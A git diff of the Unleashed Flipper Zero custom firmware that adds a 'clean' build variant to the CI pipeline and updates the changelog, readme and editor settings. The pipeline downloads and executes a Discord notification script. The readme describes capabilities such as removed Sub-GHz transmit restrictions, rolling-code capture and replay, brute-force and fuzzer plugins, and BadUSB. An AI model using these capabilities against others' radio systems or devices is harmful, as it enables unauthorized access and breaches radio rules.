diff --git a/.ci_files/anims_ofw.txt b/.ci_files/anims_ofw.txt index 2fc22ec8c..187cc2c02 100644 --- a/.ci_files/anims_ofw.txt +++ b/.ci_files/anims_ofw.txt @@ -161,3 +161,10 @@ Max butthurt: 5 Min level: 1 Max level: 3 Weight: 4 + +Name: L1_Sad_song_128x64 +Min butthurt: 8 +Max butthurt: 13 +Min level: 1 +Max level: 3 +Weight: 4 diff --git a/.ci_files/rgb.patch b/.ci_files/rgb.patch index b5141abb9..afd239160 100644 --- a/.ci_files/rgb.patch +++ b/.ci_files/rgb.patch @@ -102,8 +102,8 @@ index 0000000..269b544 + .settings_is_loaded = false}; + +static const RGBBacklightColor colors[] = { -+ {"Orange", 255, 79, 0}, -+ {"Yellow", 255, 170, 0}, ++ {"Orange", 255, 60, 0}, ++ {"Yellow", 255, 150, 0}, + {"Spring", 167, 255, 0}, + {"Lime", 0, 255, 0}, + {"Aqua", 0, 255, 127}, @@ -114,7 +114,7 @@ index 0000000..269b544 + {"Magenta", 210, 0, 210}, + {"Pink", 255, 0, 127}, + {"Red", 255, 0, 0}, -+ {"White", 140, 140, 140}, ++ {"White", 150, 150, 110}, +}; + +uint8_t rgb_backlight_get_color_count(void) { diff --git a/.drone.yml b/.drone.yml index 959534e28..35d2ce2ec 100644 --- a/.drone.yml +++ b/.drone.yml @@ -15,16 +15,38 @@ steps: - git submodule foreach git config --local gc.auto 0 - git log -1 --format='%H' - - name: "Build firmware" + - name: "Build clean" + image: hfdj/fztools + pull: never + commands: + - export DIST_SUFFIX=${DRONE_TAG}c + - export WORKFLOW_BRANCH_OR_TAG=release-cfw + - export FORCE_NO_DIRTY=yes + - rm -rf assets/resources/apps/ + - rm -rf build/ + - rm -rf dist/ + - rm -rf .sconsign.dblite + - ./fbt COMPACT=1 DEBUG=0 updater_package + - mkdir artifacts-clean + - mv dist/f7-C/* artifacts-clean/ + - ls -laS artifacts-clean + - ls -laS artifacts-clean/f7-update-${DRONE_TAG}c + environment: + FBT_TOOLS_CUSTOM_LINK: + from_secret: fbt_link + + - name: "Build default" image: hfdj/fztools pull: never commands: - export DIST_SUFFIX=${DRONE_TAG} - export WORKFLOW_BRANCH_OR_TAG=release-cfw - - rm -rf assets/resources/apps/ - - rm -rf build/ - - rm -rf dist/ - - rm -rf .sconsign.dblite + - export FORCE_NO_DIRTY=yes + - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz + - tar zxvf all-the-apps-base.tgz + - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - rm -rf base_pack_build + - rm -rf all-the-apps-base.tgz - ./fbt COMPACT=1 DEBUG=0 updater_package - mkdir artifacts-default - mv dist/f7-C/* artifacts-default/ @@ -38,9 +60,10 @@ steps: image: hfdj/fztools pull: never commands: - - git clone https://github.com/xMasterX/all-the-plugins.git - - cp -R all-the-plugins/apps/* assets/resources/apps/ - - rm -rf all-the-plugins + - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-extra.tgz + - tar zxvf all-the-apps-extra.tgz + - cp -R extra_pack_build/artifacts-extra/* assets/resources/apps/ + - rm -rf extra_pack_build - export DIST_SUFFIX=${DRONE_TAG}e - export WORKFLOW_BRANCH_OR_TAG=release-cfw - export FORCE_NO_DIRTY=yes @@ -86,6 +109,13 @@ steps: - export FORCE_NO_DIRTY=yes - rm -f build/f7-firmware-C/toolbox/version.* - ./fbt COMPACT=1 DEBUG=0 updater_package + - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz + - tar zxvf all-the-apps-base.tgz + - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - rm -rf base_pack_build + - rm -rf all-the-apps-base.tgz + - rm -f build/f7-firmware-C/toolbox/version.* + - ./fbt COMPACT=1 DEBUG=0 updater_package - mkdir artifacts-ofw-anims - mv dist/f7-C/* artifacts-ofw-anims/ - ls -laS artifacts-ofw-anims @@ -93,6 +123,8 @@ steps: - sed -i 's/(version)/'${DRONE_TAG}'/g' CHANGELOG.md - echo '# [Install via Web Updater](https://lab.flipper.net/?url=https://unleashedflip.com/fw/${DRONE_TAG}/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')' >> CHANGELOG.md - echo '' >> CHANGELOG.md + - echo '### [Version with only main apps - Install via Web Updater](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'c.tgz&channel=release-cfw&version='${DRONE_TAG}'c)' >> CHANGELOG.md + - echo '' >> CHANGELOG.md - echo '### [Version without custom animations - Install via Web Updater](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)' >> CHANGELOG.md - echo '' >> CHANGELOG.md - echo '### [Version with RGB patch - only for hardware mod! - Install via Web Updater](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'r.tgz&channel=release-cfw&version='${DRONE_TAG}'r)' >> CHANGELOG.md @@ -107,19 +139,23 @@ steps: commands: - cp artifacts-extra-apps/flipper-z-f7-update-${DRONE_TAG}e.tgz . - cp artifacts-rgb-patch/flipper-z-f7-update-${DRONE_TAG}r.tgz . + - cp artifacts-clean/flipper-z-f7-update-${DRONE_TAG}c.tgz . - cp artifacts-ofw-anims/flipper-z-f7-update-${DRONE_TAG}n.tgz . - cp artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz . - zip -r artifacts-extra-apps/flipper-z-f7-update-${DRONE_TAG}e.zip artifacts-extra-apps/f7-update-${DRONE_TAG}e - zip -r artifacts-rgb-patch/flipper-z-f7-update-${DRONE_TAG}r.zip artifacts-rgb-patch/f7-update-${DRONE_TAG}r + - zip -r artifacts-clean/flipper-z-f7-update-${DRONE_TAG}c.zip artifacts-clean/f7-update-${DRONE_TAG}c - zip -r artifacts-ofw-anims/flipper-z-f7-update-${DRONE_TAG}n.zip artifacts-ofw-anims/f7-update-${DRONE_TAG}n - zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG} - tar czpf artifacts-default/flipper-z-any-scripts-${DRONE_TAG}.tgz scripts - rm -rf artifacts-extra-apps/f7-update-${DRONE_TAG} - rm -rf artifacts-rgb-patch/f7-update-${DRONE_TAG} + - rm -rf artifacts-clean/f7-update-${DRONE_TAG} - rm -rf artifacts-ofw-anims/f7-update-${DRONE_TAG} - rm -rf artifacts-default/f7-update-${DRONE_TAG} - ls -laS artifacts-extra-apps - ls -laS artifacts-rgb-patch + - ls -laS artifacts-clean - ls -laS artifacts-ofw-anims - ls -laS artifacts-default - mv artifacts-default/ ${DRONE_TAG} @@ -191,6 +227,21 @@ steps: from_secret: dep_target_extra source: flipper-z-f7-update-${DRONE_TAG}r.tgz + - name: "Upload clean version to updates srv" + image: appleboy/drone-scp:linux-amd64 + settings: + host: + from_secret: dep_host + username: + from_secret: dep_user + password: + from_secret: dep_passwd + port: + from_secret: dep_port + target: + from_secret: dep_target_extra + source: flipper-z-f7-update-${DRONE_TAG}c.tgz + - name: "Do Github release" image: ddplugins/github-release pull: never @@ -206,6 +257,7 @@ steps: - artifacts-ofw-anims/*.tgz - artifacts-extra-apps/*.tgz - artifacts-rgb-patch/*.tgz + - artifacts-clean/*.tgz title: ${DRONE_TAG} note: CHANGELOG.md checksum: @@ -247,12 +299,15 @@ steps: [-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md) - [-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) + [-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/releases/latest) [-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/${DRONE_TAG}/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=release-cfw&version=${DRONE_TAG}) + [-Version with only main apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-${DRONE_TAG}c.tgz&channel=release-cfw&version=${DRONE_TAG}c) + + [-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-${DRONE_TAG}n.tgz&channel=release-cfw&version=${DRONE_TAG}n) @@ -275,7 +330,19 @@ steps: commands: - wget "https://raw.githubusercontent.com/fieu/discord.sh/e1dc1a7595efad2cad8f072f0b3531c470f5b7c8/discord.sh" - chmod +x ./discord.sh - - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with RGB patch - only for hardware mod! - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'r.tgz&channel=release-cfw&version='${DRONE_TAG}'r)\n\n[-Version with RGB patch - only for hardware mod! - Direct download-](https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'r.tgz)\n\n[-Version with Extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' + - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/releases/latest)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version with only main apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'c.tgz&channel=release-cfw&version='${DRONE_TAG}'c)\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with RGB patch - only for hardware mod! - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'r.tgz&channel=release-cfw&version='${DRONE_TAG}'r)\n\n[-Version with RGB patch - only for hardware mod! - Direct download-](https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'r.tgz)\n\n[-Version with Extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' + + - name: "Send clean build to telegram" + image: appleboy/drone-telegram + settings: + token: + from_secret: tgtoken + to: + from_secret: tgid + format: markdown + message: "Build with only main apps:" + document: + - flipper-z-f7-update-${DRONE_TAG}c.tgz - name: "Send extra pack build to telegram" image: appleboy/drone-telegram @@ -314,16 +381,39 @@ steps: - git submodule foreach git config --local gc.auto 0 - git log -1 --format='%H' - - name: "Build dev FW" + - name: "Build dev clean" + image: hfdj/fztools + pull: never + commands: + - export DIST_SUFFIX=${DRONE_BUILD_NUMBER}c + - export WORKFLOW_BRANCH_OR_TAG=dev-cfw + - export FORCE_NO_DIRTY=yes + - rm -rf assets/resources/apps/ + - rm -rf build/ + - rm -rf dist/ + - rm -rf .sconsign.dblite + - ./fbt COMPACT=1 DEBUG=0 updater_package + - mkdir artifacts-clean + - mv dist/f7-C/* artifacts-clean/ + - ls -laS artifacts-clean + - ls -laS artifacts-clean/f7-update-${DRONE_BUILD_NUMBER}c + environment: + FBT_TOOLS_CUSTOM_LINK: + from_secret: fbt_link + + + - name: "Build dev default" image: hfdj/fztools pull: never commands: - export DIST_SUFFIX=${DRONE_BUILD_NUMBER} - export WORKFLOW_BRANCH_OR_TAG=dev-cfw - - rm -rf assets/resources/apps/ - - rm -rf build/ - - rm -rf dist/ - - rm -rf .sconsign.dblite + - export FORCE_NO_DIRTY=yes + - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz + - tar zxvf all-the-apps-base.tgz + - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - rm -rf base_pack_build + - rm -rf all-the-apps-base.tgz - ./fbt COMPACT=1 DEBUG=0 updater_package - mkdir artifacts-default - mv dist/f7-C/* artifacts-default/ @@ -337,9 +427,10 @@ steps: image: hfdj/fztools pull: never commands: - - git clone --branch dev https://github.com/xMasterX/all-the-plugins.git - - cp -R all-the-plugins/apps/* assets/resources/apps/ - - rm -rf all-the-plugins + - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-extra.tgz + - tar zxvf all-the-apps-extra.tgz + - cp -R extra_pack_build/artifacts-extra/* assets/resources/apps/ + - rm -rf extra_pack_build - export DIST_SUFFIX=${DRONE_BUILD_NUMBER}e - export WORKFLOW_BRANCH_OR_TAG=dev-cfw - export FORCE_NO_DIRTY=yes @@ -376,6 +467,7 @@ steps: commands: - cp artifacts-extra-apps/flipper-z-f7-update-${DRONE_BUILD_NUMBER}e.tgz . - cp artifacts-rgb-patch/flipper-z-f7-update-${DRONE_BUILD_NUMBER}r.tgz . + - cp artifacts-clean/flipper-z-f7-update-${DRONE_BUILD_NUMBER}c.tgz . - cp artifacts-default/flipper-z-f7-update-${DRONE_BUILD_NUMBER}.tgz . - rm -rf artifacts-default/f7-update-${DRONE_BUILD_NUMBER} - ls -laS artifacts-default @@ -448,6 +540,21 @@ steps: from_secret: dep_target_extra source: flipper-z-f7-update-${DRONE_BUILD_NUMBER}r.tgz + - name: "Upload clean version to updates srv" + image: appleboy/drone-scp:linux-amd64 + settings: + host: + from_secret: dep_host + username: + from_secret: dep_user + password: + from_secret: dep_passwd + port: + from_secret: dep_port + target: + from_secret: dep_target_extra + source: flipper-z-f7-update-${DRONE_BUILD_NUMBER}c.tgz + - name: "Trigger update server reindex" image: hfdj/fztools pull: never @@ -482,6 +589,9 @@ steps: [-Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/dev/flipper-z-f7-update-${DRONE_BUILD_NUMBER}.tgz&channel=dev-cfw&version=${DRONE_BUILD_NUMBER}) + [-Version with only main apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-${DRONE_BUILD_NUMBER}c.tgz&channel=dev-cfw&version=${DRONE_BUILD_NUMBER}c) + + [-Version with RGB patch - only for hardware mod! - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-${DRONE_BUILD_NUMBER}r.tgz&channel=dev-cfw&version=${DRONE_BUILD_NUMBER}r) @@ -502,6 +612,18 @@ steps: document: - dev/flipper-z-f7-update-${DRONE_BUILD_NUMBER}.tgz + - name: "Send clean build to telegram" + image: appleboy/drone-telegram + settings: + token: + from_secret: tgtoken + to: + from_secret: tgid_dev + format: markdown + message: "Clean (Main apps only) Build:" + document: + - flipper-z-f7-update-${DRONE_BUILD_NUMBER}c.tgz + - name: "Send extra pack build to telegram" image: appleboy/drone-telegram settings: @@ -523,7 +645,7 @@ steps: commands: - wget "https://raw.githubusercontent.com/fieu/discord.sh/e1dc1a7595efad2cad8f072f0b3531c470f5b7c8/discord.sh" - chmod +x ./discord.sh - - ./discord.sh --text 'Unleashed firmware dev build successful!\n\nBuild - '${DRONE_BUILD_NUMBER}'\n\nCommit - https://github.com/DarkFlippers/unleashed-firmware/commit/'${DRONE_COMMIT_SHA}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[-Version with Extra apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'e.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'e)\n\n[-Version with RGB patch - only for hardware mod! - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'r.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'r)\n\n[-Version with RGB patch - only for hardware mod! - Direct download-](https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'r.tgz)\n\n[-Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/dev/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}')' + - ./discord.sh --text 'Unleashed firmware dev build successful!\n\nBuild - '${DRONE_BUILD_NUMBER}'\n\nCommit - https://github.com/DarkFlippers/unleashed-firmware/commit/'${DRONE_COMMIT_SHA}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[-Version with Extra apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'e.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'e)\n\n[-Version with only main apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'c.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'c)\n\n[-Version with RGB patch - only for hardware mod! - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'r.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'r)\n\n[-Version with RGB patch - only for hardware mod! - Direct download-](https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'r.tgz)\n\n[-Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/dev/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}')' trigger: branch: diff --git a/.gitignore b/.gitignore index 35e5cf2b5..fb6d6b704 100644 --- a/.gitignore +++ b/.gitignore @@ -51,6 +51,7 @@ null.d /artifacts-ofw-anims /artifacts-rgb-patch /artifacts-extra-apps +/artifacts-clean # SCons build dir /build diff --git a/.gitmodules b/.gitmodules index 331177e26..52cf4a207 100644 --- a/.gitmodules +++ b/.gitmodules @@ -10,6 +10,7 @@ [submodule "assets/protobuf"] path = assets/protobuf url = https://github.com/flipperdevices/flipperzero-protobuf.git + shallow = false [submodule "lib/libusb_stm32"] path = lib/libusb_stm32 url = https://github.com/flipperdevices/libusb_stm32.git @@ -25,12 +26,6 @@ [submodule "lib/cxxheaderparser"] path = lib/cxxheaderparser url = https://github.com/robotpy/cxxheaderparser.git -[submodule "applications/external/dap_link/lib/free-dap"] - path = applications/external/dap_link/lib/free-dap - url = https://github.com/ataradov/free-dap.git -[submodule "applications/external/subbrute"] - path = applications/external/subbrute - url = https://github.com/DarkFlippers/flipperzero-subbrute.git [submodule "lib/heatshrink"] path = lib/heatshrink url = https://github.com/flipperdevices/heatshrink.git @@ -43,6 +38,3 @@ [submodule "lib/stm32wb_copro"] path = lib/stm32wb_copro url = https://github.com/flipperdevices/stm32wb_copro.git -[submodule "applications/external/multi_fuzzer"] - path = applications/external/multi_fuzzer - url = https://github.com/DarkFlippers/Multi_Fuzzer.git diff --git a/.pvsoptions b/.pvsoptions index b25d4633e..2e0b2fb8d 100644 --- a/.pvsoptions +++ b/.pvsoptions @@ -1 +1 @@ ---ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/cmsis_core -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/stm32wb_cmsis -e lib/stm32wb_copro -e lib/stm32wb_hal -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* -e applications/external/dap_link/lib/free-dap +--ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/cmsis_core -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/stm32wb_cmsis -e lib/stm32wb_copro -e lib/stm32wb_hal -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* diff --git a/.vscode/.gitignore b/.vscode/.gitignore index 670df7d48..481efcdef 100644 --- a/.vscode/.gitignore +++ b/.vscode/.gitignore @@ -1,4 +1,5 @@ -./c_cpp_properties.json -./launch.json -./settings.json -./tasks.json +/c_cpp_properties.json +/extensions.json +/launch.json +/settings.json +/tasks.json diff --git a/.vscode/example/clangd/extensions.json b/.vscode/example/clangd/extensions.json new file mode 100644 index 000000000..daab417cd --- /dev/null +++ b/.vscode/example/clangd/extensions.json @@ -0,0 +1,19 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "ms-python.black-formatter", + "llvm-vs-code-extensions.vscode-clangd", + "amiralizadeh9480.cpp-helper", + "marus25.cortex-debug", + "zxh404.vscode-proto3", + "augustocdias.tasks-shell-input" + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [ + "twxs.cmake", + "ms-vscode.cpptools", + "ms-vscode.cmake-tools" + ] +} diff --git a/.vscode/example/c_cpp_properties.json b/.vscode/example/cpptools/c_cpp_properties.json similarity index 100% rename from .vscode/example/c_cpp_properties.json rename to .vscode/example/cpptools/c_cpp_properties.json diff --git a/.vscode/extensions.json b/.vscode/example/cpptools/extensions.json similarity index 93% rename from .vscode/extensions.json rename to .vscode/example/cpptools/extensions.json index ead935b08..a8babee1c 100644 --- a/.vscode/extensions.json +++ b/.vscode/example/cpptools/extensions.json @@ -13,6 +13,7 @@ ], // List of extensions recommended by VS Code that should not be recommended for users of this workspace. "unwantedRecommendations": [ + "llvm-vs-code-extensions.vscode-clangd", "twxs.cmake", "ms-vscode.cmake-tools" ] diff --git a/.vscode/example/settings.json b/.vscode/example/settings.json index 19a03b69d..efa08157b 100644 --- a/.vscode/example/settings.json +++ b/.vscode/example/settings.json @@ -21,5 +21,10 @@ "SConscript": "python", "SConstruct": "python", "*.fam": "python", - } -} + }, + "clangd.arguments": [ + // We might be able to tighten this a bit more to only include the correct toolchain. + "--query-driver=**", + "--compile-commands-dir=${workspaceFolder}/build/latest" + ] +} \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md index 23a516f08..06debe65c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,25 +1,31 @@ ## New changes -* SubGHz: Support for Ebyte E07 module power amp switch (works with TehRabbitt's Flux Capacitor Board) (by @Sil333033) (PR #559 by @Z3BRO) -> Remade by @xMasterX -> Driver code fixed and reworked by @gid9798 -* Infrared: Update universal remote assets (by @amec0e | PR #570) -* Infrared: Update universal AC asset (by @Leptopt1los | PR #569) -* Plugins: Add * in NFC Maker keyboard (hold `.`) -* Plugins: Update TOTP (Authenticator) [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -* Plugins: Update ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-wifi-marauder) -* Plugins: Update ESP32-CAM -> Camera Suite [(by CodyTolene)](https://github.com/CodyTolene/Flipper-Zero-Camera-Suite) -> (PR #562 by @CodyTolene) -* OFW PR 2949: IR: buttons move feature rework (by nminaylov) -* OFW PR 2941: FDX-B temperature now uses system units (by Astrrra) -* OFW: fbtenv: add additional environ variable to control execution flow -* OFW: NFC CLI: Fix multiple apdu commands from not working when one of them gives an empty response -* OFW: NFC: Fix MFC key invalidation -* OFW: Rename Applications to Apps -* OFW: Fix about screen -* OFW: change FuriThreadPriorityIsr to 31 (configMAX_PRIORITIES-1) -* OFW: External apps icounter -* OFW: Overly missed feature: Infrared: move button (change button order in a remote) -* OFW: Move U2F path to ext -* OFW: New RTC flags in device info -* OFW: Backlight notification fix -* OFW: Fix fbtenv restore +* NFC: Add manually MF Classic with custom UID (by @gid9798 | PR #571) +* Infrared: Fix crash when frequency is outside of supported range, allow sending broken files by setting frequency to nearest border +* Infrared: Updated AC universal asset (Legion LE-F30RH-IN added and other changes) (by @Leptopt1los | PR #577) +* SubGHz: Fix Somfy Telis wrong frequency in add manually +* SubGHz: Fix frequency out of bounds check causing crash/freeze +* RGB Patch: Fix colors +* Builds: New build (clean) `c` - comes only with main apps, use in case you don't want preinstalled apps pack +* Plugins: Moved into one repo - https://github.com/xMasterX/all-the-plugins +* OFW PR 2984: (only buffer changes was merged, other will be later) SubGhz: fix todo (by Skorpionm) +* OFW PR 2980: Properly reset the NFC device data (by Astrrra) +* OFW: SubGhz: add timeout to subghz_hal_async_tx_test_run +* OFW: Improve vscode clangd experience +* OFW: Add the Sad song animation +* OFW: ufbt: fixed FAP_SRC_DIR +* OFW: UI: Clock on Desktop -> Refactoring of our desktop clock +* OFW: uFBT: devboard_flash to update WiFi devboard +* OFW: FBT: devboard_flash to update WiFi devboard +* OFW: Scripts: OB recovery +* OFW: Expose additional functions of the crypto engine to user -> **Breaking API change 34.x -> 35.x** +* OFW: External apps removed -> In our case - moved into extra plugins repo to separate plugins and firmware +* OFW: BadUSB: qFlipper install script for MacOS +* OFW: Add compressor.h to the SDK +* OFW: fbt: Fix building using path with space +* OFW: RPC: md5 in storage list +* OFW: Fixes 2957 - subghz decode_raw +* OFW: FDX-B temperature in system units +* OFW: Infrared: buttons move feature rework ---- @@ -47,12 +53,14 @@ and all other great people who supported our project and me (xMasterX), thanks t ## **Recommended update option - Web Updater** -### What `n`, `r`, `e` means? What I need to download if I don't want to use Web updater? -What build I should download and what this name means - `flipper-z-f7-update-(version)(n / r / e).tgz` ?
+### What `n`, `r`, `e`, ` `, `c` means? What I need to download if I don't want to use Web updater? +What build I should download and what this name means - `flipper-z-f7-update-(version)(n / r / e / c).tgz` ?
`flipper-z` = for Flipper Zero device
`f7` = Hardware version - same for all flipper zero devices
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself
`(version)` = Firmware version
+` ` = this build comes with 3 custom animations, and default apps preinstalled
+`c` = this build comes with 3 custom animations, and only main apps (Clean build)
`n` = this build comes without our custom animations (we have only 3 of them), only official flipper animations
`e` = build has 🎲 [extra apps pack](https://github.com/xMasterX/all-the-plugins) preinstalled
`r` = RGB patch (+ extra apps) for flippers with rgb backlight mod (this is hardware mod!) (Works only on modded flippers!) (do not install on non modded device!) diff --git a/ReadMe.md b/ReadMe.md index 40c81c3ba..060adc9fc 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -32,43 +32,57 @@ Our Discord Community: - https://t.me/unleashed_fw # What's changed -* Sub-GHz regional TX restrictions removed -* Sub-GHz frequency range can be extended in settings file (Warning: It can damage Flipper's hardware) -* Many rolling code protocols now have the ability to save & send captured signals -* FAAC SLH (Spa) & BFT Mitto (keeloq secure with seed) manual creation -* Sub-GHz static code brute-force plugin -* LFRFID Fuzzer plugin -* Custom community plugins and games added + all known working apps can be downloaded in extra pack in every release -* Extra Sub-GHz frequencies + extra Mifare Classic keys -* Picopass/iClass plugin included in releases -* Recompiled IR TV Universal Remote for ALL buttons -* Universal remote for Projectors, Fans, A/Cs and Audio(soundbars, etc.) -* Customizable Flipper name **Update! Now can be changed in Settings->Desktop** (by @xMasterX and @Willy-JL) -* Text Input UI element -> Cursor feature (by @Willy-JL) -- **BadBT** plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) - (See in Applications->Tools) - (aka BadUSB via Bluetooth) -- BadUSB -> Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) -- Sub-GHz -> External CC1101 module support - [(by quen0n)](https://github.com/DarkFlippers/unleashed-firmware/pull/307) -- Sub-GHz -> `Add manually` menu extended with new protocols -- Sub-GHz -> New frequency analyzer - [(by ClusterM)](https://github.com/DarkFlippers/unleashed-firmware/pull/43) -- Sub-GHz -> Save last used frequency [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) -- Sub-GHz -> 